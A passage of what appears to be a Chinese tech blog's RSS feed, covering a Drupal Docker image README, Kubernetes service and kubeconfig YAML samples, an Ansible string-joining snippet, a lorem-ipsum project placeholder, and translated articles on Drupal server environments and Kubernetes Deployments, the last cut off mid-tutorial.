&lt;h3 id=&#34;lamp-environment-for-drupal&#34;&gt;LAMP environment for Drupal&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OS&lt;/strong&gt;: Ubuntu 14.04 LTS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;: 5.5.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache&lt;/strong&gt;: 2.4.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP Extensions&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;mcrypt&lt;/li&gt;
&lt;li&gt;gd&lt;/li&gt;
&lt;li&gt;memcached&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opcache enabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drush&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;path&#34;&gt;Path&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/web/codebase&lt;/code&gt;: Web Root&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/web/logs&lt;/code&gt;: Log Root&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;more-environment-variables&#34;&gt;More environment variables&lt;/h3&gt;

&lt;p&gt;Can be replaced through parameters of &lt;code&gt;docker run&lt;/code&gt; command&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_DATE_TIMEZONE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;Asia/Shanghai&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MAX_EXECUTION_TIME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;30&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MEMORY_LIMIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;128M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_ERROR_REPORTING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_UPLOAD_MAX_FILESIZE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;2M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_STARTSERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MINSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;10&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXREQUESTWORKERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXCONNECTIONSPERCHILD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;0&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_TIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;300&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXKEEPALIVEREQUESTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_KEEPALIVETIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;500M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;50M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;log-file-will-be-truncated&#34;&gt;Log file will be truncated&lt;/h3&gt;

&lt;p&gt;We can set max file size through the variables of error log (&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;) and access log (&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;). &lt;code&gt;rotatelog&lt;/code&gt; will truncate the log files when it exceed the limitaion.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;为 Drupal 容器化准备的一个 Docker 镜像。&lt;/p&gt;

&lt;h2 id=&#34;特性&#34;&gt;特性&lt;/h2&gt;

&lt;h3 id=&#34;适用于-drupal-的-lamp-环境&#34;&gt;适用于 Drupal 的 LAMP 环境&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;操作系统&lt;/strong&gt;：Ubuntu 14.04 LTS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;：5.5.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache&lt;/strong&gt;：2.4.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 扩展&lt;/strong&gt;：

&lt;ul&gt;
&lt;li&gt;mcrypt&lt;/li&gt;
&lt;li&gt;memcached&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;li&gt;gd&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opcache 已启用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drush&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;路径&#34;&gt;路径&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/web/codebase&lt;/code&gt;: Web 根目录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/web/logs&lt;/code&gt;: 日志根目录&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;可配置的环境变量&#34;&gt;可配置的环境变量&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名称&lt;/th&gt;
&lt;th&gt;缺省值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_DATE_TIMEZONE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;Asia/Shanghai&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MAX_EXECUTION_TIME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;30&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MEMORY_LIMIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;128M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_ERROR_REPORTING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_UPLOAD_MAX_FILESIZE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;2M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_STARTSERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MINSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;10&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXREQUESTWORKERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXCONNECTIONSPERCHILD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;0&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_TIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;300&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXKEEPALIVEREQUESTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_KEEPALIVETIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;500M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;50M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;日志的自动截断&#34;&gt;日志的自动截断&lt;/h3&gt;

&lt;p&gt;保存在 &lt;code&gt;/web/logs&lt;/code&gt; 中的日志，可以利用 &lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt; 和 &lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt; 两个变量来调整最大文件尺寸，超出限制的日志将会被截断。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 服务定义示例</title>
      <link>/post/kubernetes-service-sample/</link>
      <pubDate>Wed, 25 May 2016 07:27:37 +0800</pubDate>
      <guid>/post/kubernetes-service-sample/</guid>
      <description>&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
kind: List
apiVersion: v1
items:
- kind: ReplicationController
  apiVersion: v1
  metadata:
    name: rc-nginx-meta
    labels:
      name: rc-nginx
  spec:
    replicas: 1
    # 必须跟 template 里面的 labels 匹配
    selector:
      name: pod-nginx
    template:
      metadata:
        labels:
          name: pod-nginx
      spec:
        containers:
        - name: nginx-docker-images
          image: nginx:1.10
          # 开放端口数组
          ports:
          - containerPort: 80
            protocol: TCP
          # 环境变量数组
          env:
          - name: NGINX_PORT
            value: &amp;quot;888&amp;quot;
          # 加载卷数组，容器内不存在的路径会被新建
          volumeMounts:
            - mountPath: /test-pd
              name: test-volume
        volumes:
          - name: test-volume
            # 这里用主机路径类型的卷
            hostPath:
              path: /tmp
- kind: Service
  apiVersion: v1
  metadata:
    name: svc-nginx-meta
    labels:
      name: svc-nginx
  spec:
    type: NodePort
    ports:
    - protocol: TCP
      # 集群内端口
      port: 80
      # 容器端口，对应上面的 containerPort
      targetPort: 80
      # 在所有 Node 上都开放此端口
      nodePort: 32000
    selector:
      # 匹配 Pod 的标签
      name: pod-nginx
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>kubectl config 文件示例</title>
      <link>/post/kubeconfig-sample/</link>
      <pubDate>Wed, 18 May 2016 01:48:04 +0800</pubDate>
      <guid>/post/kubeconfig-sample/</guid>
      <description>&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Config
# Clusters 一节用于存储对多个 Master 的定义，大致包含证书，服务器地址等信息
clusters:
- cluster:
    certificate-authority: certs/pd/ca.crt
    server: https://10.211.55.87:6443
  name: pd-secure
# Users 一节用于存储用户凭据，可对应 Token, Basic 等验证方法
users:
- name: fake-user
  user:
    password: password
    username: admin  
# Contexts 这里会用上面的集群和用户信息，来形成完整的连接信息
contexts:
- context:
    cluster: pd-secure
    namespace: kube-system
    user: fake-user
  name: pd-local
# 当前生效的 Context，可以利用 kubectl config use-context 来切换
current-context: pd-local
preferences: {}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Ansible Playbook 拼接字符串</title>
      <link>/post/concat-string-in-ansible/</link>
      <pubDate>Mon, 09 May 2016 19:26:49 +0800</pubDate>
      <guid>/post/concat-string-in-ansible/</guid>
      <description>&lt;p&gt;目前使用 Playbook 方式进行部署的一般是集群系统，面对不定数量的一组 Host，经常需要利用这一组主机的信息来拼接为一个字符串，以此结果设置为变量，其他需要集群信息的配置文件/命令行参数就可以引用这一信息了。&lt;/p&gt;

&lt;p&gt;下面代码以一组 Host 生成形如 &lt;code&gt;server1=ip1:port,server2=ip1:port&lt;/code&gt; 的结果。&lt;/p&gt;

&lt;p&gt;Host 信息：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[node]
10.211.55.78
10.211.55.79
10.211.55.80
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: storage
  set_fact: host_list=&amp;quot;{{ groups[&#39;node&#39;] }}&amp;quot;
- name: combine
  set_fact: host_list=&amp;quot;{% for item in host_list %} node{{ item.split(&amp;quot;.&amp;quot;)[2] }}_{{ item.split(&amp;quot;.&amp;quot;)[3]}}=http://{{item}}:{{ node_peer_port }} {% endfor %}&amp;quot;
- name: display
  set_fact: cluster_hosts={{ host_list.split() | join(&amp;quot;,&amp;quot;) }}
- name: debug
  debug: var=cluster_hosts
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Deep Learning</title>
      <link>/project/deep-learning/</link>
      <pubDate>Wed, 27 Apr 2016 00:00:00 +0000</pubDate>
      <guid>/project/deep-learning/</guid>
      <description>&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis posuere tellus ac convallis placerat. Proin tincidunt magna sed ex sollicitudin condimentum. Sed ac faucibus dolor, scelerisque sollicitudin nisi. Cras purus urna, suscipit quis sapien eu, pulvinar tempor diam. Quisque risus orci, mollis id ante sit amet, gravida egestas nisl. Sed ac tempus magna. Proin in dui enim. Donec condimentum, sem id dapibus fringilla, tellus enim condimentum arcu, nec volutpat est felis vel metus. Vestibulum sit amet erat at nulla eleifend gravida.&lt;/p&gt;

&lt;p&gt;Nullam vel molestie justo. Curabitur vitae efficitur leo. In hac habitasse platea dictumst. Sed pulvinar mauris dui, eget varius purus congue ac. Nulla euismod, lorem vel elementum dapibus, nunc justo porta mi, sed tempus est est vel tellus. Nam et enim eleifend, laoreet sem sit amet, elementum sem. Morbi ut leo congue, maximus velit ut, finibus arcu. In et libero cursus, rutrum risus non, molestie leo. Nullam congue quam et volutpat malesuada. Sed risus tortor, pulvinar et dictum nec, sodales non mi. Phasellus lacinia commodo laoreet. Nam mollis, erat in feugiat consectetur, purus eros egestas tellus, in auctor urna odio at nibh. Mauris imperdiet nisi ac magna convallis, at rhoncus ligula cursus.&lt;/p&gt;

&lt;p&gt;Cras aliquam rhoncus ipsum, in hendrerit nunc mattis vitae. Duis vitae efficitur metus, ac tempus leo. Cras nec fringilla lacus. Quisque sit amet risus at ipsum pharetra commodo. Sed aliquam mauris at consequat eleifend. Praesent porta, augue sed viverra bibendum, neque ante euismod ante, in vehicula justo lorem ac eros. Suspendisse augue libero, venenatis eget tincidunt ut, malesuada at lorem. Donec vitae bibendum arcu. Aenean maximus nulla non pretium iaculis. Quisque imperdiet, nulla in pulvinar aliquet, velit quam ultrices quam, sit amet fringilla leo sem vel nunc. Mauris in lacinia lacus.&lt;/p&gt;

&lt;p&gt;Suspendisse a tincidunt lacus. Curabitur at urna sagittis, dictum ante sit amet, euismod magna. Sed rutrum massa id tortor commodo, vitae elementum turpis tempus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean purus turpis, venenatis a ullamcorper nec, tincidunt et massa. Integer posuere quam rutrum arcu vehicula imperdiet. Mauris ullamcorper quam vitae purus congue, quis euismod magna eleifend. Vestibulum semper vel augue eget tincidunt. Fusce eget justo sodales, dapibus odio eu, ultrices lorem. Duis condimentum lorem id eros commodo, in facilisis mauris scelerisque. Morbi sed auctor leo. Nullam volutpat a lacus quis pharetra. Nulla congue rutrum magna a ornare.&lt;/p&gt;

&lt;p&gt;Aliquam in turpis accumsan, malesuada nibh ut, hendrerit justo. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Quisque sed erat nec justo posuere suscipit. Donec ut efficitur arcu, in malesuada neque. Nunc dignissim nisl massa, id vulputate nunc pretium nec. Quisque eget urna in risus suscipit ultricies. Pellentesque odio odio, tincidunt in eleifend sed, posuere a diam. Nam gravida nisl convallis semper elementum. Morbi vitae felis faucibus, vulputate orci placerat, aliquet nisi. Aliquam erat volutpat. Maecenas sagittis pulvinar purus, sed porta quam laoreet at.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>External Project</title>
      <link>/project/example-external-project/</link>
      <pubDate>Wed, 27 Apr 2016 00:00:00 +0000</pubDate>
      <guid>/project/example-external-project/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Drupal 开发和服务环境的最佳实践</title>
      <link>/post/drupal-development-and-server-environment-best-practices/</link>
      <pubDate>Thu, 07 Apr 2016 19:53:32 +0800</pubDate>
      <guid>/post/drupal-development-and-server-environment-best-practices/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.chapterthree.com/blog/drupal-development-and-server-environment-best-practices&#34; target=&#34;_blank&#34;&gt;Drupal Development and Server Environment Best Practices&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;一个新项目在启动初期，往往需要向客户描述一下我们的开发流程。这一过程帮助我们的客户相信，我们的流程能够为项目的短期和长期目标提供有力的保障。这其中自然需要描述我们的环境。幸运的是，有很多 Drupal 为中心的项目主机环境可以参考，我们的团队根据项目需要进行主机选择。这意味着我们几乎同所有的 Drupal 主机平台打过交道，因此我们对各个选项的优劣是比较清楚的。&lt;/p&gt;

&lt;h2 id=&#34;git-是基础的基础&#34;&gt;Git 是基础的基础&lt;/h2&gt;

&lt;p&gt;第一，最重要的，所有的 Drupal 开发（其他开发也应该是）都应该使用 Git。Git 是一个用于分布式开发、非线性流程的版本控制系统。简单说来，Git 能有效的保护你的代码，防止误操作等人为损失。他还提供了详细的工作历史。Git 具有&lt;a href=&#34;http://explainxkcd.com/wiki/images/4/4d/git.png&#34; target=&#34;_blank&#34;&gt;最佳的性价比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1-git.png&#34; alt=&#34;git&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;利用 Git 进行版本控制，解决开发问题，保障工作成果。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;home-sweet-home&#34;&gt;HOME SWEET HOME&lt;/h2&gt;

&lt;p&gt;在古代 Web 中，通常是站长利用 FTP 工具在 Web 服务器上直接编辑文件。现在我们知道的更多了。开发者首先在“本地环境”中进行开发：软件在本地工作站上模拟的服务器环境上运行。在本地环境中，开发者能够编写排错代码，而无需担心影响到服务器上正在被客户或同事使用的版本。无需多言，这是个很快的开发方式。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2-local.png&#34; alt=&#34;develop locally&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本地开发很快，容易理解，避免影响服务端。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;三个火枪手-开发-dev-预发布-stage-生产-live-环境&#34;&gt;三个火枪手：开发（DEV）、预发布(STAGE)、生产(LIVE)环境&lt;/h2&gt;

&lt;p&gt;对于绝大多数项目来说，为开发和发布过程准备三套分离的服务器环境都是必要的。典型的工作方式是：代码上推，内容下拉。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/3-envs.png&#34; alt=&#34;Server Environments&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;1-开发环境&#34;&gt;1 - 开发环境&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;DEV 这里的定义跟我所知的情况不太一致，这里描述的 DEV 环境，我们一般称为集成环境，用于汇总开发人员所提交的所有内容，集成起来进行测试。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;开发环境是三套环境中的第一套，所有的工作首先都会发布在开发环境中。这个环境比较随意，所以试验性的代码都可以在上面进行发布。一般来说这个环境是客户无法访问的，用来测试开发工作。这也意味着开发环境的内容经常会被预发布和生产环境的内容所覆盖。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/4-dev_0.png&#34; alt=&#34;Development&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;内容处于杂乱状态。
一般在新代码发布后会用线上数据进行覆盖。
用来验证功能能否在服务器上正常运行。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;2-预发布环境&#34;&gt;2 - 预发布环境&lt;/h3&gt;

&lt;p&gt;开发环境中的代码经过验证之后，会被移交到预发布环境（“Stage” 或者 “Test”）中，这一环境会利用生产环境的数据来进行测试，不会影响生产环境。一般来说，出于测试目的，该环境的内容会很接近生产环境。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/5-stage_0.png&#34; alt=&#34;Stage&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;内容和文件和线上环境很接近。
常常被线上的数据和文件覆盖。
用来验证应用是否能配合线上环境进行工作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;3-生产环境&#34;&gt;3 - 生产环境&lt;/h3&gt;

&lt;p&gt;生产环境也就是线上环境。所有的开发工作，在前两个环境中完成所有测试和审查后，最终会发布到本环境中。从其他环境中的内容很少会覆盖到生产环境。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/6-live_0.png&#34; alt=&#34;Live&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;慎重对待三套环境，保障上线活动的精准。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;合而为一&#34;&gt;合而为一&lt;/h2&gt;

&lt;p&gt;开发过程可谓是诡异莫测 - 因此需要真正的开发流程进行保障。确保项目和开发团队遵循上述原则，能够节省时间、成本，降低项目事故的风险。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 1.2 中使用部署（Deployment）对象</title>
      <link>/post/using-deployment-objects-with/</link>
      <pubDate>Thu, 07 Apr 2016 05:43:14 +0800</pubDate>
      <guid>/post/using-deployment-objects-with/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/04/using-deployment-objects-with&#34; target=&#34;_blank&#34;&gt;Using Deployment objects with Kubernetes 1.2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 简化了应用的部署管理，大多数操作都可以用一个 API 或者命令行搞定，例如应用生成、金丝雀测试以及升级。我们为什么还需要部署对象？&lt;/p&gt;

&lt;p&gt;部署对象把部署和滚动更新进行了自动化。跟 &lt;code&gt;kubectl&lt;/code&gt; 的 &lt;code&gt;rolling-update&lt;/code&gt; 相比，部署 API 更加清晰快速，在服务端实现，有更多的功能（例如即使滚动更新已经完成，你还是可以回滚到之前的版本）。&lt;/p&gt;

&lt;p&gt;在今天的文章中，我们会讲讲如何使用部署对象：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;部署应用&lt;/li&gt;
&lt;li&gt;在不中断服务的情况下，逐步更新应用&lt;/li&gt;
&lt;li&gt;在部署/更新过程中，如果发现问题，回滚到前一版本。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/image03.gif&#34; alt=&#34;rolling update&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;预备&#34;&gt;预备&lt;/h2&gt;

&lt;p&gt;要完成本文的内容，需要三个条件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;一个运行的 Kuberntes 集群：&lt;/strong&gt;：如果还没有，参考 &lt;a href=&#34;http://kubernetes.io/docs/getting-started-guides/&#34; target=&#34;_blank&#34;&gt;Getting Started Guides&lt;/a&gt;，其中包含针对笔记本电脑、云提供商以及物理服务器的各种方案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubectl，Kubernetes 客户端&lt;/strong&gt;：如果运行 &lt;code&gt;kubectl cluster-info&lt;/code&gt; 之后看到一个 URL，那么就可以了。否则的话，需要&lt;a href=&#34;http://kubernetes.io/docs/user-guide/prereqs/&#34; target=&#34;_blank&#34;&gt;安装和配置 kubectl&lt;/a&gt;；如果使用的 Google 容器云，需要参考 &lt;a href=&#34;https://cloud.google.com/container-engine/docs/before-you-begin&#34; target=&#34;_blank&#34;&gt;Instrctions for hosted solutions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes/kubernetes.github.io/tree/master/docs/user-guide/update-demo&#34; target=&#34;_blank&#34;&gt;配置文件&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果你懒得自己做，可以&lt;a href=&#34;https://youtu.be/eigalYy0v4w&#34; target=&#34;_blank&#34;&gt;观看视频&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;运行&#34;&gt;运行&lt;/h2&gt;

&lt;p&gt;配置文件中包含一个静态网站，我们希望用它提供服务。从 Kubernetes 仓库的根，执行&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl proxy --www=docs/user-guide/update-demo/local/ &amp;amp;

Starting to serve on …
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这会在端口 8001 运行一个代理服务器。现在可以由 &lt;a href=&#34;http://localhost:8001&#34; target=&#34;_blank&#34;&gt;http://localhost:8001&lt;/a&gt; 来访问示例网站（目前还是个空白页面），接下来我们想要运行一个 App，并在网站上显示：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl run update-demo
--image=gcr.io/google_containers/update-demo:nautilus --port=80 -l  name=update-demo
deployment “update-demo” created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一操作会部署一个单实例的应用，应用的镜像是 “update-demo:nautilus”，你可以在 &lt;a href=&#34;http://localhost:8001/static/&#34; target=&#34;_blank&#34;&gt;http://localhost:8001/static/&lt;/a&gt; 看到结果：&lt;/p&gt;

&lt;blockquote&gt;
